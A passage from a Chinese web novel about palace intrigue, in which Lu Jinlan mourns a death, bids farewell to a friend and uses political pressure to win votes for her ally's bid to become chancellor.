她追忆起旧事,晦暗的眼睛里忽然有了神采,仿佛回到了那个意气风发的年代。 “我和飞卿相识于微时,总有人嫌弃我们家境贫寒,可我们总能互相安慰。我们是所有学生中功课最好,能力最强的。” “虽然那时我们常常一起饿肚子,但我们说过,总有一天我们会过得比任何人都好,到那时,我们要一起去吃遍所有山珍海味……” 她忽然哽咽,瞬间泪如泉涌,“我想起来了,我们说过要一起的,我怎么给忘了?孩子,我怎么给忘了?” 鲜血从她的口中溢出,望着那张苍老而又血泪模糊的脸,陆锦澜心生不忍。 她握住晏维津伸到半空中的手,晏维津倒了下去,她嘴里都是血,口齿含糊,却依旧不甘的问道:“我怎么会错得……如此离谱?” 陆锦澜不知该如何回答,只是更加用力地握住她。 “飞卿……”晏维津忽然对着陆锦澜,唤起了顾飞卿的名字。 陆锦澜知道,她已经意识模糊了。 “我在。”陆锦澜轻声应道。 晏维津努力睁开眼,“飞卿,我当年……是有苦衷的。我对不起你,可你要相信,我真的……真的有我的难处……你、你一定要相信我……” 陆锦澜鼻尖酸楚,沉默片刻,代姑母答道 :“我听见了。” 第116章 曾颖和许闰年在门外左等右等,陆锦澜终于出来。 “你们进去看吧,她已经死了。” 二人连忙进去核验,一旁的牢头迎上来,对陆锦澜道:“按规矩,小的要派人去请仵作来验尸,再通知她的家人将尸首领回去。陆侯如无别的示下,小的就按规矩办了。” 见陆锦澜点头,那牢头便立刻吩咐两个狱卒,“张耀祖,你去叫仵作。蒋天娇,你去晏府报丧。” 那两个狱卒领了命刚要出去,陆锦澜忽然叫住她们,“等一下。” 陆锦澜指了指其中一人左臂上的孝布,“你家里也有白事啊?” 那人愣了一下,哽咽道:“多谢陆侯关怀,前日家母不幸染了急病,当天夜里便去了。” 陆锦澜不解,“那你家里还未出灵,你怎么不告假?” 那人无奈道:“告一天假,就少一天俸禄。小人家穷,一家老小都靠我养活,家里那边有人支应着,我便照常来当值了。” 陆锦澜诧异地看向牢头,那牢头忙解释道:“陆侯容禀,告假扣俸禄是旧制,一向如此,并非我不近人情。” “老实说,这看守天牢又不是什么好事。小的身为牢头,偶尔还能捞点油水,她们几乎只有每月三两银子的俸禄可拿。” “姊妹们多是出身不好才做了这苦差事,咱们娘们儿挣钱养家都不容易,所以小人从不为难大家。” “刚刚特地让她去报丧,也是想着去的人能拿到主家一点丧金。她多得几两银子,丧事也可办得体面些。” 陆锦澜感慨道:“难得你如此体恤下属,心思还如此周全。” 她从怀里摸了两张银票给了牢头,牢头一看每张都是五百两的巨款,惊道:“陆侯您这是做什么?您上次给的,小的还没花完呢。” 陆锦澜将银票塞到她手里,“给你你就拿着,多出来的,你看着给这里的姊妹们分一分。大家当差都不容易,但有一点可得记住了。嘴一定要严,不该说的,一个字也不能漏。” 牢头是聪明人,忙道:“陆侯放心,您把我们当人,我们不能干不是人的事。您说过什么做过什么,我们一概不知。不管谁来打听,姊妹们都不会吐出一个字。便是皇上过问,也是如此。” 陆锦澜满意地拍了拍她的肩膀,又搭在那狱卒肩上,劝道:“你还是告假吧,好好歇上几天,送老人家最后一程。我家也刚出了丧事,咱们的心情都是一样的。” 那狱卒吸了吸鼻子,忙道:“小人不敢和侯君相比。” “嗐,在生老病死面前,谁都一样。”陆锦澜说着将自己的钱袋塞到她手里,“这里面还剩点银票和一些碎银子,你拿去办丧事吧,算我给老人家的一份心意。” 陆锦澜身上是从来不缺钱的,莫说里面还有两百两银票和几十两碎银,便是那个钱袋都绣着金丝银线,做工精致,少说也值三五十两。 那狱卒拿着沉甸甸的钱袋,连忙磕头而拜,“陆侯大恩,小人没齿难忘,愿为陆侯赴汤蹈火万死不辞。” 陆锦澜一笑,“用不着,快起来吧。” 正说着,曾颖和许闰年已经拿了东西出来,三人便一同回宫复命。 * 赵敏成听闻晏维津已死,长叹一声,默默了许久。 陆锦澜简单汇报了几句,便以治丧为由告退,顺便又请了一个月长假,说要亲自将灵柩送回云州。 赵敏成准了,可她还是有些不放心。待陆锦澜一走,赵敏成便问:“狱中有没有什么事,是陆侯刚才没说的?” 曾颖想了想,迟疑道:“回皇上,有一件事陆侯刚才好像……忘了回禀。晏维津死前,抓住陆侯的手,叫她什么飞卿,还说对不起她。” 赵敏成长叹一声,“飞卿是陆侯的一个亲戚,不过已经死了。她方才不提,大约不想提起伤心事,这倒没什么。” 曾颖忙道:“那就没有别的事了。” 赵敏成点头,“你下去吧。” 曾颖告退,虽然赵敏成信了她的话,但还是把许闰年单独留下,又询问了一番。 “你是朕身边的人,平日里做事谨慎,也足够细心。朕派你去,是让你做朕的眼睛,替朕看着。” 许闰年忙道:“奴才不敢懈怠,时时替皇上留心着。” 赵敏成道:“那你有没有看出来什么?” 许闰年道:“回皇上,奴才跟着陆侯和曾大人刚到狱中的时候,晏维津原本是坚决不肯就死的,后来曾大人和陆侯轮着劝,她才肯喝下毒酒。奴才觉得……晏维津是冲着陆侯,才肯饮下毒酒的。” 赵敏成忙问:“陆侯跟她说了什么?” 许闰年道:“说的话倒没什么特别,陆侯就说她爹死状凄惨,现在灵柩还在家里停着呢。说晏维津欠她两条人命,理应杀人偿命之类的话。可奴才不知,哪来的两条人命?” 赵敏成叹道:“你不知,朕却知道。那个和陆侯长得很像的亲戚,也是死于晏维津之手。” 许闰年忙道:“皇上圣明,您这么一说,奴才恍然大悟。怪不得,奴才在狱里就觉得奇怪,晏维津总盯着陆侯的脸看。后来还胡言乱语,管陆侯叫飞卿。” 赵敏成扶着额,仿佛也被勾起了旧事,愁眉紧锁,疲惫道:“还有别的事吗?” 许闰年想了想,“还有一件,我们从狱里出来的时候,陆侯见一个狱卒家里也出了丧事,便将自己的钱袋给她……” “啧。”赵敏成不悦道:“谁要你回这些鸡毛蒜皮的事儿了?没有用的事,朕不想听。朕不是村子里的长舌夫,一个狱卒家里死了人,跟朕有什么关系?” 许闰年连忙请罪,“奴才愚笨,请皇上恕罪。奴才只想事无巨细的告诉皇上,生怕有什么遗漏。” 赵敏成瞪了他一眼,“谅你也是好心,下去吧。” 许闰年磕了个头,连忙告退。 其实,在御前回话,三人自然是对好了词儿的。 陆锦澜知道赵敏成怀疑她,所以她怎么说都没用,不如自己不说,让别人来说。可别人若直截了当地说,皇上也会起疑。 只有这么吞吞吐吐战战兢兢,做出一副蠢笨样,方能打消皇上的疑心。 * 晏维津一死,晏无辛便要启程赶往边关了。 突然发生这么多事,忠勇园的仆人都整日唉声叹气的。怀星正在那儿愣愣的出神,管家洗墨来叫他,“侯君叫你过去。” 怀星见到陆锦澜,只见她站在窗前负手而立,叹息道:“无辛明日就要走了,我不便去她府上,你代我过去看看。” 怀星忙道:“侯君放心,我这就去。” 陆锦澜又道:“军中不比家里,边关不比京城。在边关的时候,她成日惦记着回京逍遥,如今却不得已自请出关,终究是事与愿违。桌上有些她用得上的东西,你给她送过去吧。” “是。” 怀星抱着东西找到了晏家老宅,眼熟的门子好心告诉他,“小少娘昨儿已经从老宅搬出去了,你去私宅找吧。” 怀星找到了晏无辛的私宅,这里也不复当初的热闹景象,冷冷清清的。 除了两个老仆,只有方卿在院子里侍弄花草。 怀星忙问:“那些人呢?” 方卿垂下眼眸,“妻主给了他们银两,将他们都遣散了。妻主说本就是为了寻欢作乐才把大家聚到一起,如今她没了寻欢作乐的心情,大家都走吧。” “不过我留下来了,反正我无处可去,也不想回去干我的老本行。我就在这儿守着,等妻主回来。你要见她,我带你到书房去。她心情不好,你说话小心着点儿。” 天色已晚,书房内低沉晦暗。 晏无辛独坐在椅子上,如险锋一般沉默、威严、危险,仿佛高不可攀。 跟寻常嬉笑怒 骂平易近人的样子,完全不同。 她好像在一瞬间成熟了长大了,不再是那个终日无忧无虑游戏人间的少年了。 怀星看着她冷峻的侧影,瞬间红了眼。 他知道,这就像他小时候长身体一样,看着越来越像个大人了,可身上,是会痛的。 怀星跪在她身边,有些哽咽,“师傅,你还好吗?” 晏无辛只说了四个字:“我扛得住。” * 第二日,晏无辛带着一些随从出城赶往北境,十里亭内忽然传来一阵乐声。 陆锦澜弹琴,项如臻吹笛,在学院兴起时,她们常常合奏。只不过这一次,只有她们两个。 晏无辛叹了口气,对叶游道:“你带人先行,我随后就到。” 晏无辛在亭前下马,“不是说了不用送吗?怎么还是来了?” 陆锦澜道:“习惯了,如蓁奉旨出京时,咱俩在这儿送她。上次我去曲国,你们在这儿送我。如今,轮到我们送你了。” 项如蓁道:“没想到你走得这么急,我还以为你要等办完了丧事。” 晏无辛苦笑一声,“我们晏家那些老家伙们,都等着大闹葬礼,要合起伙来收拾我呢。我还不赶紧走,是等着挨骂吗?我可不傻。我已经在灵前磕了头,反正我娘孩子多,不差我一个烧纸的。” 陆锦澜握住她的手,“无辛,苦了你了。有些话,我真不知道该怎么说。” 晏无辛一笑,“那就不说。你怎么想的,我知道。我怎么想的,你也知道。” “咱们都没错,只是世事多舛,人生的境遇总是出乎意料。仿佛一夜之间,什么都变了。但我确信,有一点不会变,我们仍然是最好的朋友。” 两人抱在一起,用力地拍了拍彼此的肩膀。 项如蓁在一旁默默拭泪,晏无辛瞧见了,红着眼打趣道:“你一向是个铁人,怎么今儿哭成这样?” 项如蓁哭笑不得道:“一想到你独自去边关吃苦,我心里就难受。” 晏无辛一笑,“嗐,没事儿,你们不用担心我。我心里烦闷,去边境吹吹冷风,冷静冷静,心情会好些。” “时间是治愈的良药,我这一去少说三年多则五载,一定会把我的心病治好。当然,如果你们遇到了什么事需要我,我‘带着病’也会想办法回来的。” 陆锦澜递给她一封信,“信里是你娘临走时说的一些话,你看完记得烧了。” 晏无辛点头收下,三人饮了杯酒,晏无辛道:“好了,别公公爹爹的了,我走了。等我回来,我们再把酒言欢。” 陆锦澜忙将自己的宝马牵过来,“这马送你。” “送我?”晏无辛调侃道:“你这宝贝马,平常恨不得扛着它走。送给我,我不回来你就见不到它,真舍得?” 陆锦澜含泪笑了笑,“是不太舍得,那还是当我借你的吧。这马日行千里,到了你想回来的时候,骑上它,能回来得更早些。” 晏无辛擦了把眼泪飞身上马,“那我就不客气了,放心,我一定会回来的。” 马蹄声哒哒远去,天空阴云密布,没多久便下起了雨。 陆锦澜回到府中的时候,怀星正在雨中跪着。 陆锦澜叹了口气,“你去吧,陪在她身边,照顾好的她衣食起居,不要让她孤独。” 怀星将头磕在地上,“多谢侯君成全!” * 近日,皇上的内心很不平静。 陆锦澜抚灵回云州,赵敏成派了大内侍卫护送。说是护送,其实也是监视。 她总觉得按照陆锦澜的机敏,不刨根问底,不会将当年的旧事草草放过。 可派去的人回来说没有任何异样,陆锦澜办完丧事,把云州的家眷都接上,举家搬到了忠勇园。期间,没有见任何可疑的人,没有去过任何可疑的地方。 赵敏成有些想不通,难道她真的不知道当年的真相? 不管怎么说,陆锦澜将家眷都带到京城来,大大打消了赵敏成的疑心。 可陆锦澜看起来很不好,她回了京城,便上折子辞去礼部尚书的职位,还推举了关山月担任新的礼部尚书。 折子里说,“家中逢此变故,臣心情沉郁,惴惴不安,无力处理礼部杂事。如皇上开恩,请保留臣工部尚书一职,臣愿日日沉迷发明创造,以度余生。只是臣心力不如从前,无法再上朝,请皇上允臣懈怠一二。臣实在身心俱疲,不愿再涉纷争……” “身心俱疲?有这么严重吗?”赵敏成不信。 她对陆锦澜的感情实在复杂,作为陆锦澜的生母,她不忍心看着她就此消沉下去。可作为当年的帮凶,她也在时刻防备着陆锦澜。 如果是装惨骗她,那陆锦澜死定了。可如果是真惨成这样,她还有点看不下去。 她先派人去陆府看了看情况,回来的人说:“陆侯在她府里圈了块地,盖了个棚子,说是工厂,她要研究些新奇的东西。” 赵敏成皱眉,“新奇的东西?不就是些机巧玩意儿吗?浪费时间浪费才智,有什么用?” “不就是死了个爹,少了个朋友嘛,怎的就让她玩物丧志了?” 她环视四周,“你叫什么来着?” 许闰年连忙拜倒在地,“奴才许闰年。” 赵敏成道:“对,我记得她爱和你说话。你回头去劝劝她,帮她开解开解。对了,近来坊间出了个有名的男僧,叫什么来着?” 一旁忙回道:“启禀皇上,男僧叫清玄法师。他生来就被丢弃在佛寺门前,因其在佛寺中长大,三岁便会诵经,人人称奇。” “如今清玄法师已长大成人,更加精通佛法。据说得了心魔的人跟他清谈片刻,都能恢复清明。还夸他是神明转世,有真佛之智,神明之貌……” “好了好了!”赵敏成懒得再听,“让这个清玄法师也去开解开解她。” 旨意下了没几天,这日赵敏成正在批阅奏折,掌事宫男急匆匆来报:“皇上,陆侯她……她……” 赵敏成皱眉,“有话好好说,吞吞吐吐的,她怎么了?” “回皇上,您不是让许闰年去开解她吗?许闰年昨日去了,然后陆侯她……她睡了。” 赵敏成怪道:“睡了就等她醒了再说,有什么可慌的?” “不是,”掌事宫男红着脸跪倒在地,“陆侯她把人给睡了。” 赵敏成一愣,手上的笔啪嗒一声,跌在案上。 第117章 赵敏成一脸震惊,“睡了?不是,朕让人去给她开解心结,不是让她去解开人家衣服!她怎么把人给睡了?” 掌事宫男无语道:“奴才见许闰年一夜未归,亲自去侯府询问,才得知发生了这种事。奴才也是……也是极度震惊,不知所措。” “奴才问陆侯为何如此,陆侯说,皇上您说过要把人赏给她的话。此次您把人遣去了,陆侯便以为,就是赏给她的意思……” 赵敏成翻了个白眼,“朕什么时候说要赏给她了?一句气话,她还当真了。” 掌事宫男无奈道:“事已至此,还请皇上拿个主意。宫男与人私通是大罪,许闰年此刻在殿外跪着,皇上如何处置?” 赵敏成无奈,“是朕让他去的,朕能怎么处置?” 掌事宫男壮着胆子提议道:“呃,他既然已经是陆侯的人了,要不您就把人赏给……” “朕偏不!”赵敏成气道:“她以为她把人睡了,朕就得把人赏她?不赏!等她不再瞎折腾,把朕哄高兴了再说。” 掌事宫男道:“自从出事后,陆侯意志消沉,终日埋头在工厂里,带着一群工匠叮叮当当的。她尚且高兴不起来,皇上您就别指着她来哄您了。” 赵敏成冷哼一声,“她不高兴,也没耽误她睡人,她还是风流得很。” “对了,那个清玄法师去了没有?用佛法洗礼洗礼她 ,让她学学什么叫清心寡欲。” 掌事宫男为难地低下头,“这……” 皇上忙问:“怎么了?难道这得道的高僧也解不开她心中的苦闷吗?” 掌事宫男吞吞吐吐道:“这高僧解没解开陆侯心中的苦闷,奴才不知道。但陆侯倒是解了高僧的衣裳,她也……她也给睡了。” 皇上惊得站了起来,“什么?这高僧也被她睡了?怎会如此啊?” “回皇上,陆侯说皇上您昨日遣许闰年过去,她想是您的一番好意,她便笑纳了。今日您遣清玄法师过去,她见是个年轻的男僧,模样出挑,姿色不凡,她以为是您的又一番好意,她便一并笑纳了。” “胡闹!”赵敏成啪一拍桌子,“朕遣个有姿色的男人过去,她就要带到床上去。那是不是朕的皇侍过去,她也要笑纳?” 掌事宫男连忙磕头在地,“想必不会。” 皇上一愣,“为何?” “奴才不敢说。” “说!朕要你说。” “呃,奴才听闻陆侯只喜欢没嫁过人的处男。” 皇上硬生生被气笑了,“她倒是很坚持自己的品味。” 赵敏成猛扇了几下扇子,“可她不该强人所难,欺负两个弱男子,传出去像什么话?” 掌事宫男老实道:“回皇上,臣瞧着不是强迫的。许闰年说,是他自己意乱情迷,就由着陆侯……” “至于那位清玄法师,奴才去的时候,正赶上他从陆侯屋里出来。我问他怎么了,他说他修行不够,败给陆侯了,让皇上您另请高明。他配不上高僧的称号,他要远离尘世找处深山,再去参悟佛法。” “总之,看不出他们是被迫的,倒像是……像是给迷上了。” 赵敏成长叹一声,“唉,大约天下男人都抵不住靖安侯的魅力吧。罢了,由她去吧。” * 自从陆锦澜不上朝后,赵敏成有段日子没听到她的消息。 某一日,皇上正在看书,见殿外的宫男交头接耳嘀嘀咕咕,不禁皱起了眉,不悦道:“你们在说什么?” 掌事宫男忙请罪道:“请皇上恕罪,奴才们听说了件天大的新鲜事儿,一时没忍住……” 赵敏成不屑道:“有什么天大的事儿是你们知道,朕却不知道的?” 掌事宫男一笑,“回皇上,您知道的都是正经事,奴才们知道的事儿都不……不太正经,说的是姜国皇夫有孕的事儿。” 赵敏成愣道:“姜国皇帝上个月不是过世了吗?新皇还未立啊。” “是啊,就是因为这个,才举世震惊。据说姜国那边请了几十个医师,把脉算日子,确认是三个月前怀上的。也就是说,那时候她们皇帝还没死,但也是卧床不起了,按理说应该不能行房。” “可那皇夫自己说,他的孩子是皇帝的。因为他是魅族圣男,魅族祖先能梦遇仙人而后有孕,他与皇上梦中同房,然后就有了。” 赵敏成冷笑一声,“一派胡言!怕是在外面偷了女人,这种胡话也编得出。” 掌事宫男笑道:“这事儿,若是放在咱们嬅国肯定没人相信。可姜国人大半都信教,对这个圣男很是迷信,已经当做是皇帝的孩子,在保胎了。据说这圣男也是玄得很,能以身饲毒,还能通灵,总之说什么的都有。” “这事儿之所以能传到咱们这儿来,是因为有一种说法提到了陆侯。” 赵敏成一愣,“跟陆侯有什么关系?” “三个月前,陆侯不是去了趟姜国吗?就有人说,那孩子是她的。” 赵敏成大笑几声,“这都是什么跟什么?八竿子打不着的两个人,你觉得可能吗?” 那掌事宫男道:“奴才认为不可能,别说两人八竿子打不着,就是打着了,此人陆侯也不会中意。毕竟,她喜欢没嫁过人的处男。” 赵敏成点了点头,“有道理。” * 赵敏成原本以为,陆锦澜是玩物丧志,没想到两个月后她玩出了名堂。 陆锦澜制造出了一种新式纺织机,有一百个纺锤。纺织工人以前纺一匹布的时间,现在能纺出一百匹。迅速在民间风靡,被叫做陆侯机。 项如蓁在朝上提出要搞工业改革,这个项如蓁自己当着户部尚书,却一向爱管闲事,皇上见怪不怪了。 连朝上的老臣们都懒得跟她争论这是不是她职责范围内的事,因为已经有过数次类似的争吵。 反正项如蓁一定会说,天下兴亡匹妇有责,何况你我在朝为官,为国尽忠,为皇上效力,理应关心天下事,没有份内份外之分云云。 本来项如蓁带着那批新臣今天一个条陈,明天一个新法的,已经跟守旧派的老臣势同水火了。 现在一听她要搞改革,老臣们二话不说,直接反对。 吵吵囔囔又闹了两个月,改革进展磕磕绊绊,陆锦澜这边却已经顺利研究出自行车了,百姓叫陆侯二轮车。 偶尔能看到陆锦澜亲自骑出来,后座上还经常带一孩子。 此外,还有陆侯三轮车、陆侯四轮车。 听说陆侯已经派人去岭南找一种叫橡胶的东西,要做轮胎,有了轮胎,就要量产那几种陆侯车了。 陆锦澜这边忙得热火朝天,这日项如蓁突然拜访。 陆锦澜笑着调侃道:“稀客啊,我有半个月没抓到你的影儿了。你家夫郎几乎隔天就带着孩子来我家一次,你儿子那天管我叫娘,吓了我一跳。雪卿说你天天早出晚归的,孩子认不出你了。我看你比皇上还累,你忙什么呢?” 项如蓁叹了口气,“别提了,那次咱俩聊完工业改革的事儿,我回去就着手推行。忙活了两个月,重重受阻。那些老臣真是冥顽不灵,明明是好事儿,非说我是为了排挤老臣,才要大搞改革。” 改革也好,推新法也好,普及科学种田也好,总之是新的东西。新东西就需要新学,年轻官员学习快,自然容易得到重用。 老臣们一直认为类似的手段是在暗搞党争,排挤守旧派,所以始终全力反对。 陆锦澜道:“上回我就跟你说,现在推行改革希望不大。老臣反对也就算了,皇上也是抱着游移的态度试试看,她根本不允许在推行过程中出现任何问题。但新的东西问世,总要摸索着前进,不可能没有曲折。” “推行改革,必须上下一心,至少要给你主导此事的绝对权力,不然根本不可能推行下去。” 项如蓁忙道:“我今天来找你,就是因为这件事。皇上今天下了朝,把大皇女、我、还有几位重臣叫了过去,说让大家推举出一位丞相人选,以后还是由丞相来总理政务,直接向皇上汇报。锦澜,我想做这个丞相。” 陆锦澜笑道:“好啊!应该由你来做,丞相位置空了半年,也该有人顶上了。除了你,我想不到还有谁合适。你上,绝对没问题。” 项如蓁眉头紧锁,愁道:“问题很大,皇上要用推举制。三品以上的文武百官,递折子推举,每人算一票。我的人缘你是知道的,交下的人不少,可得罪的人更多。” “更糟糕的是,赵祉钰推举了老臣派的晏翎,老臣派自然会鼎力支持,加上赵祉钰本人和她平日里笼络的人,我手里能攥住的票,根本不够和她们对打。” “而且皇上也不知道怎么回事,只给三天时间。如果时间放宽几天,或许我还能派人到京外去拉拉票。我经常巡视各地,有些个州官,跟我算是志同道合。可消息一来一回需要时间,三天时间太短。即使她们得了消息,立刻递折子推举我,也赶不及啊!” 陆锦澜听完恍然大悟,“怪不得,关山月跟我说,赵祉钰前些天突然催促她出使周边邻国。可是按照往年的惯例,这个时间应该在下个月。” “当时完全没有风声露出来,我便让她去了。紧接着礼部和工部都有人被借调,不是指派到外地监工,就是让她们下去巡学。算起来,差不多是十天前的事儿。” “现在想来,人家这是暗中为了推举丞相的事儿做准备。你是今天才知道消息,可人家早就知道了。赵祉钰知道你一定会来找我,所以想尽办法提前把我手里的人支走。” 项如蓁惊道:“我的左右卿也在外地!” 陆锦澜叹了口气,“看来她把时间都算好了,就是要打你一个措手不及。晏翎这个人思想保守,还是晏维津的远亲,很不喜欢咱们。赵祉钰推举她,显然是公然站在咱们对面,把自己和她们晏氏族人绑一块了。” “用一个看似公平,其实十分不公的方式击败你,就是为了让你心服口服,逼得你以后无话可说。” “新派臣子拥护你,可如果连你都输了,朝上以后就是老臣派的天下。再有两派争执的时候,丞相站在守旧派那边,那你之前为了新法和改革做的努力,恐怕都要功亏一篑了。” 项如蓁心急如焚,“那怎么办?” 陆锦澜拧着眉思索片 刻,“我们先预计一下票数,再行定夺。” 她忙命人铺纸研墨,长桌上雪白的宣纸铺陈开来,陆锦澜提笔画了两条竖线,将纸张分为三格。 “你先在第一格写上你手里能确定推举你的人选,我在最后一个写我认为会支持晏翎的人。中间填一些拿不准的中间派,我们看能不能想办法争取。” 两人边说边写,一会工夫,京中四十多个三品以上的朝臣名单,都在眼前了。 粗略统计,项如蓁这边只有十四票,而对方却有二十六票,中间派有八票。 项如蓁气道:“如果我们的人都在,至少还能多九票。现在这么大差距,就算把中间派都争取过来,也还是不够。” 陆锦澜捻了捻手中的笔杆,“那就要用些非常手段了。” 她用红笔勾掉了两个支持晏翎的名字,“这两个人不用担心,我手里有她们的把柄,足以让她们转投你。另外有几个人,我需要分别见一下她们,才能知道结果。” “咱们分头行动,你先去稳住你的票仓,去见一下确定支持你的那十四个人,请她们晚上到这儿来,大家一同写推举折子。” 陆锦澜担忧道:“如果只是名单上的人,还好说,就怕名单以外的人多到超出咱们预料。对了,这事你还没和金大人说吧?” 项如蓁叹道:“岳母年纪大了,身体时常不舒服。昨晚着了凉浑身发热,今日都没上朝。不到万不得已,我不想去打扰她老人家。” 陆锦澜无奈道:“现在已经是万不得已了,对方无所不用其极,容不得我们再瞻前顾后。我想,金大人如果知道这事,也会咬牙从病床上爬起来,帮你力争这个丞相之位。” “她在朝为官多年,有些我们搭不上关系的老臣,她或许有办法。” “而且有些不上朝的老臣,只要是三品以上,都有推举资格。如果能把这些人动员起来,我们又能多几分胜算。这些人,大约只有金大人能说得动,你陪老人家亲自去走动。今晚来我这儿碰头,咱们再通气。” 项如蓁立刻去了,陆锦澜也连忙出发,她要见的人可不少。 * 刑部尚书薛应刚刚回府,家仆立刻来报:“主子,靖安侯到访,说有急事要见您。” 薛应眉头一皱,低喃道:“一定是为了推举丞相的事儿,这个时候我怎么能见她?” 她忙对家仆道:“说我不在。” 话音未落,就听门外传来陆锦澜的声音,“陆某仅有几句话要说,薛大人何必吝啬一盏茶的时间呢。” 薛应脸色一变,连忙起身,“哎呀陆侯,稀客稀客,我正要出去。” 陆锦澜哼了一声,自顾自坐下,“咱们闲话少叙,你知道我为什么来找你,我就不废话了。你改投项如蓁,如何?” 薛应呵呵一笑,“陆侯,您别为难我,我已经答应了大皇女,推举晏翎晏老大人。” 陆锦澜嘶了一声,“你答应大皇女推举晏翎,是因为她答应你支持你翻修大理寺的提案吧?” 薛应怔了怔,“你是怎么知道的?” 陆锦澜轻笑一声,“我怎么知道的你别管,但我告诉你,如果你支持晏翎,户部一定不会拨这笔钱。” 薛应冷笑道:“项尚书不是一直号称对事不对人吗?为了丞相之位,她竟然让你来威胁我?” 陆锦澜摇头,“不是她要威胁你,是我要威胁你。你对她了解不深,我却了解很深。” “她是对事不对人,我要跟她说,这个薛尚书是敌对派,她申请的款子你别拨,她当然不会同意。可我要跟她说,我们工部要修堤坝,那可是要救民于水火的大事儿,她当然会毫不犹豫的把那笔钱拨给我。” “户部的钱是有数的,翻修大理寺这种事,只要我想和你抢,你排十年也排不上。” “反之,只要你推举项如蓁,我不给你使绊子,你今年就能修上,如何?” 薛应气地咬牙,“陆侯不觉得,你这般行径有些不择手段了吗?” 陆锦澜笑着摇了摇扇子,“你们不就是欺负项如蓁没有手段吗?知道她正直,知道她对事不对人,知道哪怕跟她作对,她也不会暗害你们,于是你们一个个倒不怕得罪她。可你们忘了,她身边还有我。” 陆锦澜眼神一冷,“玩手段,我还没怕过谁。薛大人好好想想吧,明晚之前,我等你的消息。” 陆锦澜大步离去,薛应一把将书案上的杂物扫到地上。 * 第二日,薛应到赵祉钰这里来请罪,正遇上晏翎和赵祉钰聚在一起愁眉不展。 听薛应把事情一说,晏翎气得直拍桌子。 “这个陆锦澜怎么回事?她不是淡出朝野了吗?她不是沉迷美色和创造吗?” 赵祉钰沉声道:“别说她只是假意淡出朝野,就算是隐居山林,项如蓁请她,她也会出山的。” 晏翎道:“那咱们怎么办?让她这么搞下去不是办法。此人诡计多端,跟项如蓁不是一个路数,咱们根本招架不住。” “昨晚我手里的三个人,被一个富商请去逢春楼,她们一时没有抵住诱惑,就跟那儿的小郎搞在了一起。结果陆锦澜就在逢春楼外等着,拿了口供证词,逼着她们弃票。” “官员不许狎伎,金云凝是御史令,如果陆锦澜去找金大人让她着人参上一本,那三个人就要被降职。这样一来,她们只能弃票,咱们手里又少了几张牌。” 赵祉钰叹了口气,“早就预料到她会出招,但还是没有料到她的招数会是这样。好在我们先下手为强,手里的票还是够的。只是,不能再任由她继续下去。” 她把亲随叫进来,“你去盯着陆锦澜,看看她现在在哪儿。有什么情况,立刻告诉我。” 话音未落,门外来报,“殿下,靖安侯求见。” * 两人许久未见,相对而坐,不约而同的沉默了片刻。 陆锦澜感慨道:“时间过得真快,好像自我不上朝后,咱们有小半年没见了。” 赵祉钰道:“我事多,也怕打扰你创造。虽然很久没见,但我偶尔会想起你。在学院、在北州,咱们都有过很快乐的回忆。” 陆锦澜点头,“是啊,就因为回忆很美好,所以到现在如蓁还是想不明白,你为何会推举晏翎。毕竟大家是同窗,你也很认同她的改革方略,平日里你俩并没有冲突。她说,她以为你会支持她的。” 赵祉钰垂下眼眸,“如蓁是个好人,可我身上毕竟有晏氏的血。再说,她想不明白,你还想不明白吗?其实,不支持她的原因,是因为我从宫中老人那里,听说了一些关于你的旧事。” 陆锦澜淡然一笑,“什么旧事啊?” 赵祉钰道:“说了你也不会承认的。坦白地说,就是因为你,我才决定不支持项如蓁。如果你死了,我就一定会支持项如蓁。她那么勤勉那么有能力,论本事,十个晏翎也比不上她。” “可是有你在,我不敢赌。你太聪明,太有办法,让我感到 不安。哪怕是你去了曲国或者姜国,我依然不能放心。只有你死,我才能踏实。否则我会经常梦到你,梦里你总是野心勃勃地盯着我。” 陆锦澜冷笑,“野心勃勃?我若真有野心,此刻我们讨论的……会是丞相之位吗?” 赵祉钰顿时大惊,“你认了?” 陆锦澜提起茶壶给自己添水,“有什么不敢认的。” 赵祉钰怀疑道:“你就不怕我告诉母皇?” 陆锦澜淡然道:“你可以去告诉,不过,如果你告诉她我的事,我也告诉她你的事儿。” “常言道,光脚的不怕穿鞋的。我只是一个私生女,淡出朝野许久,终日和工匠们为伴,没什么可失去的。” “可你不一样,大皇女殿下,你的皇储之位就在眼前,你不怕失去吗?” 赵祉钰抿着唇,神色几乎凝滞。她一时拿不准,陆锦澜是在诈她,还是真的知道什么。 太突然了,这是她根本预料不到的情况。 赵祉钰压下惊慌的心绪,勉力镇定,“我有什么事,是怕你说出去的?” 陆锦澜微微一笑,“我也认识一些宫中老人,你真不怕吗?” 第118章 赵祉钰眼底闪过一丝阴沉,“你从宫中老人那里,也听说了一些事?” 陆锦澜笑道:“没错。如果你觉得告诉皇上当年的真相,可以置我于死地,那你就去说吧。杀父之仇,可是大仇啊。皇上疑心那么重,她知道了真相,怎么可能放过仇人的孩子呢?” “不过,和皇上有杀父之仇的女儿又不止我一个。你说是吧?大皇女殿下。” 赵祉钰沉默许久,终于开口道:“我猜得没错,你果然野心勃勃。可你到底是怎么知道的?” 陆锦澜道:“怎么知道的重要吗?你要是真以为我每天只是在家叮叮当当的做个手艺人,又何必派人暗中监视我?” “可你的人太蠢,监视我这么久,一无所获。这样的人都能在你手下拿钱做事,你这是当了冤大头啊。” “唉,想想咱俩真是同病相怜。晏家人为了晏氏一族的利益,将我的生父害死,将你的生父送进宫,生下了你。” “不过,咱们这位共同的生母可不是吃素的,以她的脾气,硬塞给她一个男人,占着她的皇夫之位,她怎么肯咽下这碗夹生饭?” “所以你的生父,生下你,就被她除掉了。” 赵祉钰握紧了拳头,咬牙道:“可我跟你不一样,我连我的生父长什么样子都不知道。我即使知道了这件事,也从未怨恨过母皇,更没想过报复她。” 陆锦澜低声道:“这只是你的说辞,你知道的,皇上不会把一面之辞当回事。” 赵祉钰不屑,“你说的话,就不是一面之辞了吗?” “那要看我怎么说,你要是把我的事说出去,我就跟皇上说,你早就知道当年的真相了。可你隐忍着,因为不到时候,因为你在等待时机。” “我会跟她说,你曾对我炫耀,同样是被杀死了生父,你可比我聪明多了。你说皇上一辈子也发现不了,还会把万里江山托付给你。你早就想好,要在她咽气前告诉她真相,让她含恨而终……” “我没说!”赵祉钰高声反驳。 陆锦澜点了点头,“我猜你只是心里想想,你当然没说,这是我诬陷你的。但是皇上的脾气你了解,她一定会相信的,是不是?” 赵祉钰深吸一口气,闭上眼平息了暴怒的的情绪,无奈道:“你想怎么样?” 陆锦澜道:“我要你弃票。” 赵祉钰冷笑一声,“不让我转投项如蓁吗?” 